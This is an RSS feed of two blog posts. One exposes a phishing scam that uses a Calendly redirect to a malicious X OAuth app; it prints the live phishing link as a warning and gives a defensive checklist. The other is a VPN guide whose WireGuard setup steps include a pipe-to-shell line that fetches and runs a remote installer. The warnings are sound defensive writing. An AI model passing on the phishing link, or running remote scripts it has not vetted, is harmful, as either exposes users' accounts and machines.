<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security | AkitaOnRails.com</title><link>https://akitaonrails.github.io/en/tags/security/</link><description>Fabio Akita's blog — tech, career, and assorted geek topics. English edition.</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Mon, 19 Oct 2026 23:20:52 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/en/tags/security/index.xml" rel="self" type="application/rss+xml"/><item><title>Watch Out! A Pseudo-TechCrunch Tried to Scam Me! And Calendly Is SHIT</title><link>https://akitaonrails.github.io/en/2026/09/22/pseudo-techcrunch-tried-to-scam-me-calendly-is-shit/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/09/22/pseudo-techcrunch-tried-to-scam-me-calendly-is-shit/</guid><pubDate>Tue, 22 Sep 2026 21:00:00 -0300</pubDate><description>&lt;p&gt;Tonight I got a DM on X from an account presenting itself as a journalist covering AI for TechCrunch, asking about how coding agents handle project context. Polite interview request, topic landing right on what I write about here. And it ended on top of a link that redirects to an X account authorization screen. That&amp;rsquo;s a scam, documented, with technical proof. If you use social media and already got a similar message, this piece is for you.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Tonight I got a DM on X from an account presenting itself as a journalist covering AI for TechCrunch, asking about how coding agents handle project context. Polite interview request, topic landing right on what I write about here. And it ended on top of a link that redirects to an X account authorization screen. That&rsquo;s a scam, documented, with technical proof. If you use social media and already got a similar message, this piece is for you.</p>
<h2>The Account<span class="hx:absolute hx:-mt-20" id="the-account"></span>
    <a href="#the-account" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-mia-profile.png" alt="X profile of an account named Mia, @MiaEsswein, with a verified badge, presenting as a journalist covering AI for TechCrunch, previously at Mashable"  loading="lazy" /></p>
<p>The bio reads: <em>&ldquo;Covering AI, startups, markets, and emerging technologies for @TechCrunch | prev @mashable&rdquo;</em>. Verified badge, account since August 2014, more than 45,000 posts, 1,409 followers. By the numbers, it looks like an old, active account, not a profile created yesterday.</p>
<h2>The Conversation<span class="hx:absolute hx:-mt-20" id="the-conversation"></span>
    <a href="#the-conversation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s the full exchange, nothing cut:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-dm-conversation.png" alt="X DM conversation: the account sends a Calendly link and asks to set up a meeting with its team; I reply refusing to authorize Calendly to access my X account and ask for identification"  loading="lazy" /></p>
<p>And here&rsquo;s the link, exactly as it came, for anyone who wants to recognize it if they got the same one:</p>
<blockquote>
  <p><strong>Confirmed phishing link. Don&rsquo;t click it. If you already did, don&rsquo;t authorize anything.</strong>
<code>https://calendly.com/d/d336-3mq-q2z</code></p>

</blockquote>
<h2>I Already Knew It Was a Scam<span class="hx:absolute hx:-mt-20" id="i-already-knew-it-was-a-scam"></span>
    <a href="#i-already-knew-it-was-a-scam" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I recognized the pattern instantly because José Valim, Elixir&rsquo;s creator, fell for this exact lure in March this year and <a href="https://x.com/josevalim/status/2029628027945021810"target="_blank" rel="noopener">documented the whole thing publicly</a>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-josevalim-post.png" alt="José Valim’s post on X telling how his account was temporarily hacked by the same Calendly scam with fake Twitter authorization"  loading="lazy" /></p>
<p>Same pretext, TechCrunch asking for an interview on a technical topic the victim knows well. Same mechanism, a Calendly link that ends in an X authorization. His account ended up being used to spread crypto spam before he revoked access.</p>
<p>When the message landed for me today, I almost cheered. I knew right away it would make good blog material. So I kept the conversation going politely, just enough to screenshot everything, and now I&rsquo;m exposing the account publicly. <strong>Always expose whoever tries to scam you.</strong> This isn&rsquo;t about humiliating anyone, it&rsquo;s about leaving a public trail for the next person who gets the same message and goes looking for it on Google.</p>
<h2>Even Without Knowing About Valim&rsquo;s Case, I Could Tell<span class="hx:absolute hx:-mt-20" id="even-without-knowing-about-valims-case-i-could-tell"></span>
    <a href="#even-without-knowing-about-valims-case-i-could-tell" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A cold contact asking for a meeting out of nowhere, with no prior introduction, is a scam 99% of the time. No real professional operates that way, and even less so over a social media DM. Doing that makes you a door-to-door salesman with Wi-Fi.</p>
<p>A big-name outlet in the pretext changes nothing for me. I consider myself better than TechCrunch or washed-up Mashable, and not even someone claiming to speak for the White House would impress me. Sorry, not sorry about that.</p>
<p>And even if there were a normal person behind it: my time isn&rsquo;t free. Want real consulting? Talk to my company, set up a commercial meeting on <em>the company&rsquo;s</em> Calendly, sign a contract, pay the fee, and only then do I talk to you. There&rsquo;s no &ldquo;let&rsquo;s just hop on a quick call&rdquo; shortcut with a stranger.</p>
<p>The moment I clicked the link, it redirected straight to the X authorization screen, obviously I refused. I clicked on purpose just to grab the screenshot.</p>
<h2>The Technical Mechanism<span class="hx:absolute hx:-mt-20" id="the-technical-mechanism"></span>
    <a href="#the-technical-mechanism" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/09/22/scam-oauth-authorize.png" alt="X OAuth authorization screen asking for permission for the “Events Portal” app to access the account, with a warning that the app isn’t affiliated with X and is requesting sensitive permissions, callback at plugins.cal-apis.com"  loading="lazy" /></p>
<p>A reader pointed out that the address bar in the original screenshot showed an <code>oauth_token</code> in the URL, and asked whether that was unsafe to publish. Fair question, and I edited the screenshot to remove that part anyway. But the actual risk there was zero: that&rsquo;s an OAuth 1.0a request token, not an access token. It only turns into a real credential after authorization is approved and the app exchanges that token for a verifier alongside its own secret key, neither of which happened, since I clicked cancel. An unused request token also expires on its own within minutes, by X&rsquo;s own design. Even with zero risk, it costs nothing to crop it out, and it&rsquo;s a good general rule: never publish anything that looks like a token, even one you&rsquo;re sure is already dead.</p>
<p>The first step is real: <code>calendly.com/d/d336-3mq-q2z</code> runs on genuine Calendly infrastructure, I confirmed that by hitting the link directly and checking the cookies and response headers, all authentic. It&rsquo;s a standard routing form for the product, name and meeting type.</p>
<p>The scam lives in what happens after you submit the form. Calendly has a legitimate feature to &ldquo;redirect after booking,&rdquo; and that&rsquo;s exactly the feature that got configured to send the victim to an X OAuth authorization screen. That screen is real too, it runs on <code>api.x.com</code>, X&rsquo;s genuine domain. The scam doesn&rsquo;t fake the login screen. It abuses a genuine Calendly feature to chain into a genuine X screen, authorizing a malicious third-party app.</p>
<p>And here&rsquo;s the part I want to underline: this isn&rsquo;t some exotic bug hidden in an obscure corner. It&rsquo;s a pseudo-feature turned on by default, a free redirect to any URL after booking, with zero destination checking. Until Calendly disables or at least restricts that redirect, it stays a ready-to-use phishing vector, and closing that door is Calendly&rsquo;s job, not the job of the user who just wanted to book a meeting.</p>
<p>That app is called <strong>&ldquo;Events Portal,&rdquo;</strong> claims to be <code>www.eventsportal.com</code>, and X itself shows a warning: <em>&ldquo;This app isn&rsquo;t affiliated with X and is requesting sensitive permissions,&rdquo;</em> with the callback pointing to <code>plugins.cal-apis.com</code>, not to any real Calendly domain. The permissions requested amount to a full account takeover:</p>
<ul>
<li>see protected posts, lists, and collections;</li>
<li>see account and profile settings;</li>
<li>see who you follow, mute, and block;</li>
<li>follow and unfollow on your behalf;</li>
<li>update your profile and settings;</li>
<li>create and delete posts, like, repost, and reply on your behalf;</li>
<li>create, manage, and delete lists;</li>
<li>mute, block, and report accounts on your behalf.</li>
</ul>
<p>With that authorized, the account becomes a weapon to attack the next person, exactly what happened to José Valim.</p>
<h2>What I Confirmed Myself<span class="hx:absolute hx:-mt-20" id="what-i-confirmed-myself"></span>
    <a href="#what-i-confirmed-myself" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A real Calendly doesn&rsquo;t ask for a social media login to schedule a meeting, full stop. What the screen showed is the legitimate &ldquo;redirect after booking&rdquo; feature hijacked to become a phishing vector against an X account. I didn&rsquo;t stop at the first impression, I went and confirmed every piece myself:</p>
<ul>
<li>the domain <code>cal-apis.com</code> was registered only six days earlier, on September 16, 2026, through a Chinese reseller tied to Alibaba Cloud, hidden behind Cloudflare nameservers. A disposable domain, built specifically for this, not real infrastructure from any actual company;</li>
<li>security researchers (Push Security and Validin) have documented Calendly-themed phishing campaigns used to steal Google Workspace and Facebook Business accounts, same family of scam, different target than mine;</li>
<li>specifically against X accounts, what&rsquo;s documented is firsthand reporting: José Valim himself, and a public report from February 2025 describing an almost identical scam, a fake Calendly link leading to an X login, that nearly caught two other well-known people in the tech community;</li>
<li>I found no record of &ldquo;Mia Esswein&rdquo; as an actual TechCrunch or Mashable journalist in any search. That&rsquo;s not definitive proof of anything on its own, but it adds to the rest of the pile of evidence.</li>
</ul>
<h2>The Checklist I Use<span class="hx:absolute hx:-mt-20" id="the-checklist-i-use"></span>
    <a href="#the-checklist-i-use" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>a cold contact asking for a meeting, with no introduction, is a scam until proven otherwise;</li>
<li>a real scheduling tool never asks for a social media login to book a slot;</li>
<li>a third-party app requesting &ldquo;sensitive permissions&rdquo; and warning that it&rsquo;s &ldquo;not affiliated&rdquo; with the platform is a red flag, not an ignorable technical detail;</li>
<li>if you already authorized something like this, revoke it now: on X, Settings → Security and account access → Apps and sessions;</li>
<li>report the account that sent the link, and report the Calendly event if you still have the conversation.</li>
</ul>
<h2>To Whoever Tried<span class="hx:absolute hx:-mt-20" id="to-whoever-tried"></span>
    <a href="#to-whoever-tried" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You picked the wrong person to try this on. I don&rsquo;t talk to strangers for free, on principle, and I definitely don&rsquo;t authorize unknown apps on an account I use for work. I recognize the pattern from a mile away because I read about this stuff, and on top of that I got a free article out of it for the blog. Next time, invest less in a domain registered in a rush and more in a disguise that survives someone actually paying attention.</p>
]]></content:encoded><category>security</category><category>artificial-intelligence</category></item><item><title>Survival Guide for a Censored Internet</title><link>https://akitaonrails.github.io/en/2026/08/19/survival-guide-for-a-censored-internet/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/19/survival-guide-for-a-censored-internet/</guid><pubDate>Wed, 19 Aug 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Last week I wrote about &lt;a href="https://akitaonrails.github.io/en/2026/08/13/understanding-the-discord-censorship-and-brazils-digital-eca/"&gt;the Discord censorship and Brazil&amp;rsquo;s Digital ECA law&lt;/a&gt;, the Digital ECA (&amp;ldquo;Estatuto Digital da Criança e do Adolescente&amp;rdquo;, the digital version of Brazil&amp;rsquo;s Child and Adolescent Statute): the ANPD (Brazil&amp;rsquo;s data protection authority, now also the country&amp;rsquo;s de facto internet regulator) ordered the Go Live feature shut down nationwide because end-to-end encryption prevents content surveillance, and in the same package came the first sentence enhancement in Brazilian history for committing a crime &amp;ldquo;using a VPN&amp;rdquo;. After that article, the question I got the most was the obvious one: &lt;em&gt;&amp;ldquo;OK, so what do I do?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>Last week I wrote about <a href="/en/2026/08/13/understanding-the-discord-censorship-and-brazils-digital-eca/">the Discord censorship and Brazil&rsquo;s Digital ECA law</a>, the Digital ECA (&ldquo;Estatuto Digital da Criança e do Adolescente&rdquo;, the digital version of Brazil&rsquo;s Child and Adolescent Statute): the ANPD (Brazil&rsquo;s data protection authority, now also the country&rsquo;s de facto internet regulator) ordered the Go Live feature shut down nationwide because end-to-end encryption prevents content surveillance, and in the same package came the first sentence enhancement in Brazilian history for committing a crime &ldquo;using a VPN&rdquo;. After that article, the question I got the most was the obvious one: <em>&ldquo;OK, so what do I do?&rdquo;</em></p>
<p>This article is the answer: a practical guide, from easiest to hardest, to keep your communication channels standing as the siege tightens. Because the siege <strong>is</strong> tightening, and you should understand its pace before picking your tools.</p>
<h2>The track record: none of this is new<span class="hx:absolute hx:-mt-20" id="the-track-record-none-of-this-is-new"></span>
    <a href="#the-track-record-none-of-this-is-new" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Anyone surprised by the Discord case was not paying attention. The Brazilian judiciary has been blocking communication services for over a decade, always steamrolling millions of innocent users to reach half a dozen suspects:</p>
<ul>
<li><strong>WhatsApp, 2015 and 2016</strong>: blocked <a href="https://g1.globo.com/tecnologia/noticia/2022/03/18/whatsapp-ja-foi-bloqueado-por-decisao-judicial-em-2015-e-2016-no-brasil.ghtml"target="_blank" rel="noopener">three times by lower-court judges</a>, always because the company would not hand over conversations that, by design, it cannot read.</li>
<li><strong>Telegram, 2022 and 2023</strong>: suspended <a href="https://www.gazetadopovo.com.br/republica/stf-voltara-a-julgar-bloqueio-do-whatsapp-moraes-ja-suspendeu-telegram/"target="_blank" rel="noopener">for two days by order of Justice Alexandre de Moraes in March 2022</a>, and again by a federal judge in 2023. <a href="https://www.migalhas.com.br/depeso/414499/stf-alem-do-x-relembre-os-bloqueios-do-whatsapp-e-telegram-no-brasil"target="_blank" rel="noopener">Migalhas has the full timeline</a>.</li>
<li><strong>X/Twitter, 2024</strong>: the landmark. <a href="https://itforum.com.br/noticias/de-outubro-a-outubro-confronto-x-e-stf/"target="_blank" rel="noopener">Nationwide suspension from August 30 to October 8</a>, <strong>40 days</strong>, by a single justice&rsquo;s order. And here is the detail that matters for this guide: the decision included <a href="https://www.gazetadopovo.com.br/mundo/crise-eua-moraes-twitter-files-lei-magnitsky/"target="_blank" rel="noopener">a fine of R$ 50,000 (~US$ 10,000) per day for any individual who accessed X through a VPN</a>, an order for app stores to remove VPN apps (walked back hours later), and <a href="https://istoedinheiro.com.br/pf-e-anatel-enviam-ao-stf-relatorios-sobre-acessos-ao-x-mesmo-com-bloqueio"target="_blank" rel="noopener">the Federal Police and Anatel (the telecom regulator) producing reports on who bypassed the block</a> to support the fines.</li>
</ul>
<p>Notice what happened there: for the first time, using a neutral privacy tool became, by itself, punishable conduct in Brazil. Nobody was fined in the end, but the infrastructure to fine people was built, tested and documented. And in 2026 Congress voted and the president signed a sentence enhancement for crimes committed with a VPN. The X precedent stopped being an exception and became repertoire.</p>
<blockquote>
  <p><strong>Keep this:</strong> in the X case, the Brazilian state already treated VPN users as offenders, already tried to pull VPNs from app stores, and already requested reports on who bypassed the block. All of it documented, in court orders and public reports.</p>

</blockquote>
<h2>The endgame: the Chinese model<span class="hx:absolute hx:-mt-20" id="the-endgame-the-chinese-model"></span>
    <a href="#the-endgame-the-chinese-model" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have little doubt that very well-positioned people in government look at <a href="https://freedomhouse.org/country/china/freedom-net/2024"target="_blank" rel="noopener">China&rsquo;s Great Firewall</a> with envy, not horror. And it is worth understanding what it is, because it defines the limit of the game.</p>
<p>The Firewall goes far beyond blocking websites. It is deep packet inspection (DPI) at national scale, running on the country&rsquo;s internet backbone: all traffic is classified in real time, known VPN protocols are identified by their handshake shape and dropped, Tor is blocked by default, and only <strong>state-approved VPNs</strong> (meaning, with a backdoor) operate legally. Ordinary citizens caught using unauthorized VPNs get fined. And even when the traffic cannot be read, the metadata gives the game away: who talks to whom, when, for how long.</p>
<p>That is why the honest answer to &ldquo;can you bypass a Firewall like that without being noticed?&rdquo; is: <strong>no, not for an ordinary citizen</strong>. Against a state-level firewall of that caliber, no consumer tool makes you invisible. At best it makes you too expensive to be worth persecuting at scale. Anyone selling you total invisibility is lying.</p>
<p>The good news is that Brazil is nowhere near that point. Censorship rarely arrives all at once: it comes in steps, and each step has a matching defense. The rest of this guide is that staircase, step by step. The logic behind everything that follows is a single one: <strong>censorship is a matter of cost</strong>. Our job is to make blocking expensive, technically and politically, until mass deployment becomes impractical.</p>
<blockquote>
  <p><strong>Keep this:</strong> against a complete state firewall, no tool makes you invisible, only too expensive to persecute at scale. The game is climbing your staircase before the censor climbs his.</p>

</blockquote>
<h2>Phase 1: Commercial VPN, the minimum everyone should have<span class="hx:absolute hx:-mt-20" id="phase-1-commercial-vpn-the-minimum-everyone-should-have"></span>
    <a href="#phase-1-commercial-vpn-the-minimum-everyone-should-have" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Start with the obvious. A VPN (virtual private network) creates an encrypted tunnel between your device and a provider&rsquo;s server. Your ISP (internet service provider) now sees only a scrambled flow going to a single address; the sites you visit see the VPN&rsquo;s IP, not yours. I explain it in depth, with the networking theory underneath, in <a href="https://akitaonrails.com/2022/08/29/akitando-126-criando-uma-rede-segura-introducao-a-redes-parte-6-vpn-e-nas/"target="_blank" rel="noopener">Akitando 126</a> (in Portuguese).</p>
<p>What a VPN <strong>does</strong>: hides your traffic from your ISP, swaps your exit IP, gets you out of geo-blocks and of court-ordered DNS/IP blocks. What it <strong>does not do</strong>:</p>
<ul>
<li><strong>It does not make you anonymous.</strong> The VPN provider sees all your traffic in place of your ISP. You did not eliminate the watcher, you just picked a different watcher.</li>
<li><strong>It does not hide your identity if you paid by credit card.</strong> A credit card subscription ties the VPN account to your tax ID. If authorities show up at the provider with a court order, your name is there.</li>
<li><strong>It does not protect content past the tunnel.</strong> From the VPN exit to the final website, the web&rsquo;s normal encryption (HTTPS) applies. The VPN is one leg of the path, not the whole path.</li>
</ul>
<p>That said, for the early phases of the siege it does the job. My recommendations, in order:</p>
<ul>
<li><strong><a href="https://protonvpn.com/"target="_blank" rel="noopener">ProtonVPN</a></strong>: Switzerland, outside easy jurisdiction, open source and audited, a no-logs policy tested in court, a decent free tier, and it accepts payment even in cash by mail.</li>
<li><strong><a href="https://mullvad.net/"target="_blank" rel="noopener">Mullvad</a></strong>: Sweden, the most paranoid on the market: it does not even ask for an email, your account is a random number. Flat €5/month, accepts cash in an envelope and cryptocurrency. It is the closest thing to an &ldquo;identity-less VPN&rdquo; that exists as a commercial product.</li>
<li>NordVPN and the like work technically, but their money goes more to marketing than to privacy posture. Among the big ones, I stick with the two above.</li>
</ul>
<p><strong>The limit of this phase</strong> is well known: the exit IPs of famous VPNs are public and catalogued. An order from ANPD or Anatel to national ISPs to block those ranges is technically trivial, and the X case showed that pulling the app from the store is also on the menu. When (not if) that happens, the commercial VPN dies in a day. That is why Phase 2 exists.</p>
<blockquote>
  <p><strong>Keep this:</strong> a commercial VPN is a seatbelt: use it always, but know it depends on three things outside your control. The app staying in the store, the IPs staying unblocked, and the provider staying honest.</p>

</blockquote>
<h2>Phase 2: Self-hosted VPN, your own tunnel<span class="hx:absolute hx:-mt-20" id="phase-2-self-hosted-vpn-your-own-tunnel"></span>
    <a href="#phase-2-self-hosted-vpn-your-own-tunnel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The move here changes shape: instead of subscribing to a service with millions of users and catalogued IPs, you rent a cheap little server outside Brazil and build your personal VPN. There is no public list with your IP for the censors to download. You are one user on an unknown IP, indistinguishable from any other traffic until someone looks closely.</p>
<p><strong>Picking the provider (and why not AWS, Azure or Google Cloud).</strong> The big clouds have huge, public, well-mapped IP ranges (ASNs). Blocking them wholesale is one line in a routing table; the only brake is collateral damage (plenty of legitimate Brazilian businesses live there), and other countries have paid that price in crises. Smaller providers dilute that target. Options I would consider, from mid-sized to small:</p>
<table>
  <thead>
      <tr>
          <th>Provider</th>
          <th>Based in</th>
          <th>Why</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://www.hetzner.com/cloud"target="_blank" rel="noopener">Hetzner</a></td>
          <td>Germany/Finland</td>
          <td>Cheap, reliable, out of easy reach</td>
      </tr>
      <tr>
          <td><a href="https://www.ovhcloud.com/"target="_blank" rel="noopener">OVH</a> / <a href="https://www.scaleway.com/"target="_blank" rel="noopener">Scaleway</a></td>
          <td>France</td>
          <td>Same, European jurisdiction</td>
      </tr>
      <tr>
          <td><a href="https://contabo.com/"target="_blank" rel="noopener">Contabo</a></td>
          <td>Germany</td>
          <td>Very cheap, low profile</td>
      </tr>
      <tr>
          <td><a href="https://www.vultr.com/"target="_blank" rel="noopener">Vultr</a> / <a href="https://www.digitalocean.com/"target="_blank" rel="noopener">DigitalOcean</a></td>
          <td>US/global</td>
          <td>Mid-sized, known but not giant</td>
      </tr>
      <tr>
          <td><a href="https://my.frantech.ca/"target="_blank" rel="noopener">BuyVM</a>, <a href="https://hosthatch.com/"target="_blank" rel="noopener">HostHatch</a>, <a href="https://liteserver.nl/"target="_blank" rel="noopener">LiteServer</a></td>
          <td>US/Europe</td>
          <td>Small, off every obvious list</td>
      </tr>
  </tbody>
</table>
<p>A US$ 3 to 5 machine with 1 GB of RAM is plenty for a personal VPN. <strong>Important caveat:</strong> paying for a VPS (virtual private server) with a credit card leaves a trail just like the commercial VPN: your name is in the provider&rsquo;s records, and the provider can be legally compelled. Some accept cryptocurrency, which reduces (does not eliminate) the trail. For most people, at this phase, the signup risk is acceptable: you are not hiding from a named investigation, you are getting out of the aim of a mass block.</p>
<h3>Step by step: WireGuard with wg-easy<span class="hx:absolute hx:-mt-20" id="step-by-step-wireguard-with-wg-easy"></span>
    <a href="#step-by-step-wireguard-with-wg-easy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I will use <a href="https://github.com/wg-easy/wg-easy"target="_blank" rel="noopener">wg-easy</a>, which packages WireGuard (the modern, fast, auditable VPN protocol) into a Docker container with a web panel and QR codes to set up your phone in seconds.</p>
<p><strong>1. Rent the VPS.</strong> Ubuntu 24.04, the smallest machine available, in a region outside Brazil (Amsterdam, Frankfurt and Helsinki are classic choices for jurisdiction and acceptable latency).</p>
<p><strong>2. Log in and update:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh root@YOUR_IP
</span></span><span class="line"><span class="cl">apt update <span class="o">&amp;&amp;</span> apt upgrade -y</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>3. Install Docker:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -fsSL https://get.docker.com <span class="p">|</span> sh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>4. Generate the panel password hash</strong> (wg-easy does not accept a plaintext password; write down the password you choose):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw <span class="s1">&#39;YourStrongPasswordHere&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># the output looks like: PASSWORD_HASH=$2b$12$abc...</span>
</span></span><span class="line"><span class="cl"><span class="c1"># in the command below, double every dollar sign: $ becomes $$</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>5. Start the container:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="cl">  --name<span class="o">=</span>wg-easy <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">WG_HOST</span><span class="o">=</span>YOUR_IP <span class="se">\
</span></span></span><span class="line"><span class="cl">  -e <span class="nv">PASSWORD_HASH</span><span class="o">=</span><span class="s1">&#39;$$2b$$12$$abc...&#39;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -v ~/.wg-easy:/etc/wireguard <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51820:51820/udp <span class="se">\
</span></span></span><span class="line"><span class="cl">  -p 51821:51821/tcp <span class="se">\
</span></span></span><span class="line"><span class="cl">  --cap-add<span class="o">=</span>NET_ADMIN <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.conf.all.src_valid_mark=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --sysctl<span class="o">=</span><span class="s2">&#34;net.ipv4.ip_forward=1&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --restart unless-stopped <span class="se">\
</span></span></span><span class="line"><span class="cl">  ghcr.io/wg-easy/wg-easy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>6. Open the firewall.</strong> Port 51820/UDP is the tunnel itself. Port 51821/TCP is the panel: <strong>do not leave the panel exposed to the internet</strong>. The right way is to open it only through an SSH tunnel (<code>ssh -L 51821:localhost:51821 root@YOUR_IP</code> and browse to <code>localhost:51821</code>), or to open 51821 just long enough to create your clients and close it right after.</p>
<p><strong>7. Create the clients.</strong> In the panel, one click generates a client with a QR code. Point the official WireGuard app (Android/iOS) camera at it and you are done. On a laptop, download the config file and import it into the WireGuard client.</p>
<p>Done: all of your device&rsquo;s traffic exits through your European server. Your Brazilian ISP sees only a scrambled flow to some random IP in Germany.</p>
<h3>And on your machine, how do you use it?<span class="hx:absolute hx:-mt-20" id="and-on-your-machine-how-do-you-use-it"></span>
    <a href="#and-on-your-machine-how-do-you-use-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The server is half the story. On your device, the ritual goes like this:</p>
<p><strong>On your phone (Android/iOS):</strong> install the official <a href="https://www.wireguard.com/install/"target="_blank" rel="noopener">WireGuard</a> app from the store (or from F-Droid on Android). Tap the <strong>&quot;+&quot;</strong>, choose &ldquo;Scan from QR code&rdquo; and point it at the code the wg-easy panel showed. A new &ldquo;tunnel&rdquo; appears in the list: one tap on the switch and you are in. On iOS, enable &ldquo;On-Demand&rdquo; in the tunnel settings so it reconnects by itself when you switch networks (Wi-Fi to 4G, for instance).</p>
<p><strong>On your laptop (Windows/macOS):</strong> download the official WireGuard client for your system, click &ldquo;Import tunnel(s) from file&rdquo; and select the <code>.conf</code> you downloaded from the panel. One click on &ldquo;Activate&rdquo; and done. Important detail: the official client has a <strong>&ldquo;Block untunneled traffic&rdquo;</strong> option (the kill switch): turn it on. If the tunnel drops, your internet stops instead of leaking through your real IP.</p>
